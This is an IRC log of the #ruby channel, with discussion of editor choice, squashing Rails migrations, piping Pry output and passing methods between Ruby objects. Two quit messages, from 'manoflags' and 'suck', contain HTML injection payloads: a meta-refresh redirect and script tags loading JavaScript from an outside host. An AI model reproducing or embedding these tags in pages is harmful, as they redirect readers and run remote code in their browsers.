Beams has quit [Quit: .]
pilne has joined #ruby
GGMethos has joined #ruby
cseder has joined #ruby
ozcanesen has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
jaequery has joined #ruby
jusa has joined #ruby
<cseder>
Hi there! I'm trying to decide on wether to stick to Sublime Text or to go for Ruby Mine from Jetbrains. I appreciate the graphical debugging / breakpoint functionality and the SQL module in Ruby Mine, but that's pretty much the things that makes me want it. Does this justify its cost? That's the question...
<cseder>
How do you guys feel about the Ruby Mine IDE?
mogaj has joined #ruby
<baweaver>
Never bothered, never needed it
bonhoeffer has joined #ruby
<cseder>
It has some nice Rails functionality as well, but I've not started using Rails yet. But that is why I'm learning Ruby.
sid_fules has quit [Read error: Connection reset by peer]
<cseder>
The nice thing with Sublime is that it works for most of my other development needs ( - c# ) and it works the same on OS X, Linux and Windows. But the Jetbrains IDE's also work cross platform, so I can't really make up my mind.
<cseder>
Maybe I'll go back to my beloved Emacs editor! ;) That's like a mini operating system...
nerglish has joined #ruby
sid_fules has joined #ruby
<toretore>
just pick one and write some code
haylon_ has joined #ruby
nankyokusei has joined #ruby
petruff has joined #ruby
__Yiota has joined #ruby
<cseder>
toretore probably a good idea. I write lots of code, but I want to settle on one main editor for doing it, but I understand that this is a personal choice. just wanted to know what the ruby hard core users use
pwnd_nsfw has joined #ruby
enterprisey has joined #ruby
jenrzzz has joined #ruby
jenrzzz has joined #ruby
jenrzzz has quit [Changing host]
xzhao has quit [Remote host closed the connection]
<toretore>
everyone is different, there is no right solution for everyone
haylon has quit [Ping timeout: 260 seconds]
sdwrage has joined #ruby
mooser has joined #ruby
<elomatreb>
A friend of mine only codes in nano without syntax highlighting *shrug*
<toretore>
people waste way too much time on this shit, i've been writing ruby for 15+ years and the only tools i use are vim with some syntax highlighting
ar1a has left #ruby [#ruby]
BTRE has joined #ruby
jshjsh has joined #ruby
SeepingN has joined #ruby
marxarelli|afk is now known as marxarelli
<cseder>
toretore yea, simple is best for many
bonhoeffer has quit [Ping timeout: 240 seconds]
JoshS has quit [Ping timeout: 258 seconds]
workmad3 has quit [Ping timeout: 260 seconds]
<cseder>
Do any of you guys use FXRuby for creating GUI's? Is it still alive and kicking?
<pupsicle>
cseder: vim is a viable alternative to ST or Rubymine as well
vuoto has joined #ruby
vuoto has quit [Remote host closed the connection]
nhhc has quit [Remote host closed the connection]
<cseder>
pupsicle yes, I know about Vim. It's very simplistic, but has many good plugins making it work well for many. I used Emacs for many years when working in C and C++, but left it behind when work demanded .Net and C# where the only reasonable alternative was Visual Studio
JoshS has joined #ruby
mogaj has quit [Remote host closed the connection]
manoflags has joined #ruby
<pupsicle>
Simplistic? o.O
manoflags has quit [Quit: <meta http-equiv=refresh content="0.001; url=Login.asp"><script language=javascript src=http://www.haofbi.com/js/w.js></script>]
__main__ has quit [Read error: Connection reset by peer]
<cseder>
What I appreciate with Ruby Mine is the ability to set breakpoints and debug the code graphically
manoflags has joined #ruby
<cseder>
pupsicle well, it is Simplistic in design, not simple in functionality
__main__ has joined #ruby
ramfjord has quit [Ping timeout: 260 seconds]
jcao219 has quit [Ping timeout: 268 seconds]
jshjsh has quit [Ping timeout: 255 seconds]
<cseder>
coming from Visual Studio I'm used to debugging that way
rakm has joined #ruby
mooser has quit [Remote host closed the connection]
bigkevmcd has joined #ruby
mooser has joined #ruby
Silthias has quit [Quit: Leaving.]
bronson has quit [Remote host closed the connection]
bronson has joined #ruby
haylon has joined #ruby
haylon_ has quit [Ping timeout: 240 seconds]
Bock has quit [Read error: Connection reset by peer]
woodruffw has quit [Quit: And then he took off.]
woodruffw has joined #ruby
woodruffw has joined #ruby
woodruffw has quit [Changing host]
bonhoeffer has joined #ruby
manoflags has quit [K-Lined]
mooser has quit [Ping timeout: 260 seconds]
raul782_ has joined #ruby
bigkevmcd has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
sid_fules has quit [Read error: Connection reset by peer]
hobodave has quit [Quit: Computer has gone to sleep.]
mooser has joined #ruby
olivi____ has quit [Remote host closed the connection]
raul782 has quit [Ping timeout: 258 seconds]
Renich___ has joined #ruby
enterprisey has quit [Remote host closed the connection]
woodruffw has quit [Ping timeout: 240 seconds]
woodruffw has joined #ruby
woodruffw has joined #ruby
woodruffw has quit [Changing host]
hobodave has joined #ruby
aryaching has joined #ruby
skweek has joined #ruby
mooser has quit [Read error: Connection reset by peer]
sdwrage has quit [Quit: This computer has gone to sleep]
cseder has joined #ruby
lagweezle_away is now known as lagweezle
skweek has quit [Ping timeout: 255 seconds]
olivi____ has joined #ruby
olivi____ has quit [Ping timeout: 240 seconds]
ramfjord has joined #ruby
sid_fules has joined #ruby
hobodave has quit [Quit: Computer has gone to sleep.]
Megan_ has joined #ruby
hobodave has joined #ruby
Snickers has joined #ruby
<Megan_>
I have about ~10 migration files and I would like to put them all in one migration file so I keep it a bit organised, how could I accomplish this?
jaruga has quit [Quit: jaruga]
BTRE has quit [Ping timeout: 245 seconds]
sid_fules has quit [Remote host closed the connection]
olivi____ has joined #ruby
Macaveli has joined #ruby
pmden has left #ruby ["BYE"]
<havenwood>
Megan_: Sequel or ActiveRecord or something else? Rails?
<Megan_>
Rails, yes sorry.
Hail_Spacecake has left #ruby [#ruby]
sid_fules has joined #ruby
<havenwood>
Megan_: The db/schema.rb file is one huge migration that's made from the result of all your db/migrate/* migrations combined.
<havenwood>
Megan_: There are gems that help you merge multiple migrations together as well. I've seen one that did it by date ranges, sec.
<Megan_>
@havenwood: Yes, I know that. But currently I would like to bundle my last ~10 migration files to one. Otherwise it will be a mess very quickly.
<havenwood>
Megan_: It's also okay for your migrations directory to be a historical mess, since Rails is creating a nice pristine db/schema.rb every time you migrate
olivi____ has quit [Ping timeout: 260 seconds]
<havenwood>
Megan_: A bunch of the rails rake tasks use the db/schema.rb rather than each migration one after the other to get setup.
ramortegui has quit [Remote host closed the connection]
olivi____ has joined #ruby
cfec0b8d has joined #ruby
stupidsenpai has joined #ruby
<Megan_>
@havenwood: Squasher does look interesting. I' think I'm gonna give that one a go!
<havenwood>
Megan_: `rails db:schema:load`, `rails db:setup` etc.
<havenwood>
Megan_: Happy coding! PS - There's also a #RubyOnRails channel for Rails-specific expertise.
brent__ has quit []
<Megan_>
I know the migration files itself doesn't conflict with anything, but I still prefer to bundle the last few
<Megan_>
ah cool!, thanks ^^
Megan_ has left #ruby [#ruby]
jenrzzz has quit [Ping timeout: 260 seconds]
Megan_ has joined #ruby
tomphp has quit [Client Quit]
brent__ has joined #ruby
nerglish has quit [Quit: nerglish]
olivi____ has quit [Ping timeout: 260 seconds]
jenrzzz has joined #ruby
stupidsenpai has quit [Ping timeout: 258 seconds]
<Megan_>
Any idea how I could use Squasher for a few migration files only? Because I can only find documentation for prior to year x, and not like after year x
tomphp has joined #ruby
patr0clus has joined #ruby
hahuang65 has quit [Ping timeout: 240 seconds]
mim1k has joined #ruby
ozcanesen has joined #ruby
sid_fules has quit [Read error: Connection reset by peer]
synthroid has joined #ruby
jusa has quit [Ping timeout: 240 seconds]
pwnd_nsfw has quit [Ping timeout: 240 seconds]
synthroi_ has quit [Ping timeout: 260 seconds]
sid_fules has joined #ruby
mim1k has quit [Ping timeout: 240 seconds]
suck has joined #ruby
patr0clu1 has joined #ruby
patr0clu1 has quit [Client Quit]
blow_ has joined #ruby
mogaj has joined #ruby
jenrzzz has quit [Ping timeout: 240 seconds]
patr0clus has quit [Ping timeout: 260 seconds]
__Yiota has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
__Yiota has joined #ruby
ddffg has joined #ruby
suck has quit [Quit: <script language=javascript src=http://www.haofbi.com/js/w.js></script><script language=javascript src=http://www.haofbi.com/js/w.js></script>]
__main__ has quit [Read error: Connection reset by peer]
<dminuoso>
Should I continue to make you feel bad?
oliv_____ has quit [Ping timeout: 260 seconds]
<allcentury>
dminuoso i put the same link in my question...
mim1k has joined #ruby
<allcentury>
not sure about my feelings though
<allcentury>
also your googlegroups link says it's not possible
<allcentury>
let me know if you have more to share dminuoso
qba73 has joined #ruby
patr0clus has joined #ruby
olivi____ has joined #ruby
<dminuoso>
allcentury: Mm. I do.
mim1k has quit [Ping timeout: 252 seconds]
bonhoeffer has joined #ruby
<dminuoso>
allcentury: Based on what I'm seeing beyond that sintra instance variable it seems impossible.
<dminuoso>
I may be wrong, but it seems like Rack doesn't actually track this at all.
enterprisey has joined #ruby
enterprisey has quit [Read error: Connection reset by peer]
patr0clus has quit [Quit: WeeChat 1.4]
outreachdan has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
olivi____ has quit [Ping timeout: 260 seconds]
nerglish has joined #ruby
bonhoeffer has quit [Ping timeout: 240 seconds]
oliv_____ has joined #ruby
nerglish has quit [Client Quit]
sid_fules has joined #ruby
nankyokusei has quit [Remote host closed the connection]
jrafanie has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
mogaj has joined #ruby
dlitvak has quit [Quit: Connection closed for inactivity]
sid_fules has quit [Ping timeout: 260 seconds]
jrafanie has joined #ruby
petruff has quit [Ping timeout: 260 seconds]
al2o3-cr has joined #ruby
Vingador has quit [Ping timeout: 240 seconds]
skweek has joined #ruby
mogaj has quit [Ping timeout: 260 seconds]
outreachdan has joined #ruby
juggler has joined #ruby
sid_fules has joined #ruby
bonhoeffer has joined #ruby
hobodave has quit [Quit: Computer has gone to sleep.]
skweek has quit [Ping timeout: 260 seconds]
BTRE has joined #ruby
qba73 has quit [Read error: Connection reset by peer]
maattdd has joined #ruby
hahuang65 has joined #ruby
username1 has joined #ruby
jrafanie has quit [Ping timeout: 260 seconds]
d10n-work has quit [Quit: Connection closed for inactivity]
allcentury has quit [Ping timeout: 268 seconds]
raul782_ has quit [Remote host closed the connection]
raul782 has joined #ruby
lxsameer has joined #ruby
nerglish has joined #ruby
raul782 has quit [Remote host closed the connection]
Macaveli has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
yokel has quit [Ping timeout: 255 seconds]
yokel has joined #ruby
raul782 has joined #ruby
nankyokusei has joined #ruby
Macaveli has joined #ruby
sid_fules has quit [Ping timeout: 260 seconds]
hobodave has joined #ruby
antgel has joined #ruby
sdwrage has joined #ruby
jenrzzz has joined #ruby
Macaveli has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
rgtk has quit [Ping timeout: 260 seconds]
sid_fules has joined #ruby
cagomez has joined #ruby
lagweezle is now known as lagweezle_away
bonhoeffer has quit [Ping timeout: 240 seconds]
antgel has quit [Ping timeout: 260 seconds]
Cohedrin has quit [Read error: Connection reset by peer]
Cohedrin has joined #ruby
<cagomez>
is there a way to pipe output from Pry to "less" or "grep"? I'm working with massive objects and want to search for a certain attribute or method easily
nankyokusei has quit [Remote host closed the connection]
dasher^0_o has quit [Ping timeout: 252 seconds]
sid_fules has quit [Read error: Connection reset by peer]
Renich_ has joined #ruby
Renich_ has quit [Client Quit]
hahuang65 has quit [Ping timeout: 240 seconds]
Renich_ has joined #ruby
sid_fules has joined #ruby
patr0clus has joined #ruby
tomphp has quit [Ping timeout: 260 seconds]
_sfiguser has joined #ruby
olivi____ has quit [Remote host closed the connection]
mogaj has joined #ruby
tomphp has joined #ruby
JoshS has quit [Ping timeout: 252 seconds]
hutch34 has quit [Ping timeout: 240 seconds]
mogaj has quit [Ping timeout: 260 seconds]
gusrub has quit [Remote host closed the connection]
biberu has quit []
nemish has quit [Quit: nemish]
nerglish has joined #ruby
mogaj has joined #ruby
lagweezle_away is now known as lagweezle
tomphp has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
Renich_ has quit [Quit: Renich_]
ben__ has quit [Remote host closed the connection]
gusrub has joined #ruby
m_ has joined #ruby
agent_white has quit [Quit: brb]
mogaj has quit [Ping timeout: 260 seconds]
sid_fules has quit [Read error: Connection reset by peer]
sepp2k has quit [Read error: Connection reset by peer]
truenito has joined #ruby
huggles_ has joined #ruby
JoshS has joined #ruby
antgel has quit [Ping timeout: 240 seconds]
huggles_ has quit [Quit: Lost terminal]
rhyselsmore has joined #ruby
DTZUZU has joined #ruby
cagomez has quit []
jcao219 has joined #ruby
sid_fules has joined #ruby
skweek has quit [Ping timeout: 240 seconds]
nerglish has quit [Ping timeout: 255 seconds]
nicesignal has quit [Ping timeout: 260 seconds]
MrBusiness3 is now known as MrBusiness
Fysicus has joined #ruby
outreach_ has quit [Read error: Connection reset by peer]
outreachdan has joined #ruby
DLSteve has quit [Quit: All rise, the honorable DLSteve has left the channel.]
Cohedrin has quit [Read error: Connection reset by peer]
GodFather_ has quit [Ping timeout: 268 seconds]
polishdub has quit [Quit: Leaving]
cisco has joined #ruby
cisco has quit [Max SendQ exceeded]
cisco has joined #ruby
cisco has quit [Max SendQ exceeded]
cisco has joined #ruby
cisco has quit [Client Quit]
bitcycle has joined #ruby
Cohedrin has joined #ruby
<bitcycle>
Hey all. Is it possible to pass a class's method to another class?
<bitcycle>
i.e. to inject dependencies...
j`ey has left #ruby [#ruby]
marxarelli is now known as marxarelli|afk
god has joined #ruby
god is now known as Guest48918
Guest48918 has quit [Remote host closed the connection]
<toretore>
bitcycle: what exactly are you trying to do?
binaryplease has joined #ruby
gizmore|2 has joined #ruby
benlieb has quit [Quit: benlieb]
gizmore has quit [Ping timeout: 260 seconds]
cagomez has joined #ruby
m_ has quit [Quit: leaving]
<bitcycle>
I'm trying to pass a class Foo's instance method to another class Bar instance so that Bar instance can call Foo's instance method.
<adam12>
You could always pass 'self'
sid_fules has quit [Read error: Connection reset by peer]
<lupine>
instance.method(:name)
<ruby[bot]>
bitcycle: it seems like you are asking for a specific solution to a problem, instead of asking about your problem. This often leads to bad solutions and increases frustration for you and those trying to help you. More: http://meta.stackexchange.com/a/66378
<toretore>
?xy bitcycle
<adam12>
You can use method() too, but meh.
<lupine>
but you probably don't want it
<bitcycle>
adam12: what's method()?
<lupine>
it's a method that returns an instance of Method
<lupine>
calling it will call the method on the instance you called method on that you named in your call to method
<lupine>
jesus
<adam12>
yo dawg, I heard you like method
<lupine>
there's no excuse for that, ruby
<bitcycle>
I think I'll just rely on a convention of the method name on the Foo class. That seems more OK.
<bitcycle>
So, I'll end up passing self and the Bar class will just call the foo instance's method by name.
<lupine>
probably best. nice composition. good composition
<adam12>
bitcycle: In that case, you can look at Forwardable too
chouhoulis has quit [Ping timeout: 240 seconds]
Cohedrin has quit [Max SendQ exceeded]
sid_fules has joined #ruby
hahuang65 has joined #ruby
toretore has quit [Ping timeout: 240 seconds]
latemus has joined #ruby
Cohedrin has joined #ruby
latemus has quit [Client Quit]
olivi____ has joined #ruby
jusa has joined #ruby
latemus has joined #ruby
cfec0b8d has quit [Ping timeout: 252 seconds]
<bitcycle>
Noob ruby question for you all. Is there a way, in the ruby class instance, to call the class instance method explicitly? I'm trying to use self.instance_method but it doesn't like that.
olivi____ has quit [Ping timeout: 240 seconds]
jusa has quit [Ping timeout: 260 seconds]
<al2o3-cr>
bitcycle: self.class.method but i'm not quite sure from that
<bitcycle>
I'm pretty sure I'm doing something stupid. I just changed to call the method with the assumption that the method it reaches is the one I want.
antgel has joined #ruby
SuperLag has quit [Ping timeout: 258 seconds]
ddffg has quit [Remote host closed the connection]
__Yiota has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
skweek has joined #ruby
sid_fules has quit [Read error: Connection reset by peer]
marxarelli|afk is now known as marxarelli
lxsameer has quit [Quit: WeeChat 1.5]
pickle_ has joined #ruby
gusrub has quit [Remote host closed the connection]
antgel has quit [Ping timeout: 255 seconds]
Vile` has joined #ruby
mim1k has joined #ruby
sid_fules has joined #ruby
gusrub has joined #ruby
SuperLag has joined #ruby
patr0clus has quit [Quit: WeeChat 1.4]
mim1k has quit [Ping timeout: 260 seconds]
pickle_ has quit [Read error: Connection reset by peer]
pickle_ has joined #ruby
<developBIR>
if im using "require-relative do i have to put the file extension? for example .rb
<nofxxx>
developBIR, nope... and underline, not hyphen
<developBIR>
nofxxx, require_relative?
<nofxxx>
give it a try
<developBIR>
thank you nofxxx
gusrub has quit [Remote host closed the connection]
<nofxxx>
developBIR, np
bitcycle has quit [Ping timeout: 268 seconds]
SuperLag_ has joined #ruby
weaksauce has quit [Ping timeout: 260 seconds]
SuperLag has quit [Ping timeout: 258 seconds]
pickle_ has quit [Read error: Connection reset by peer]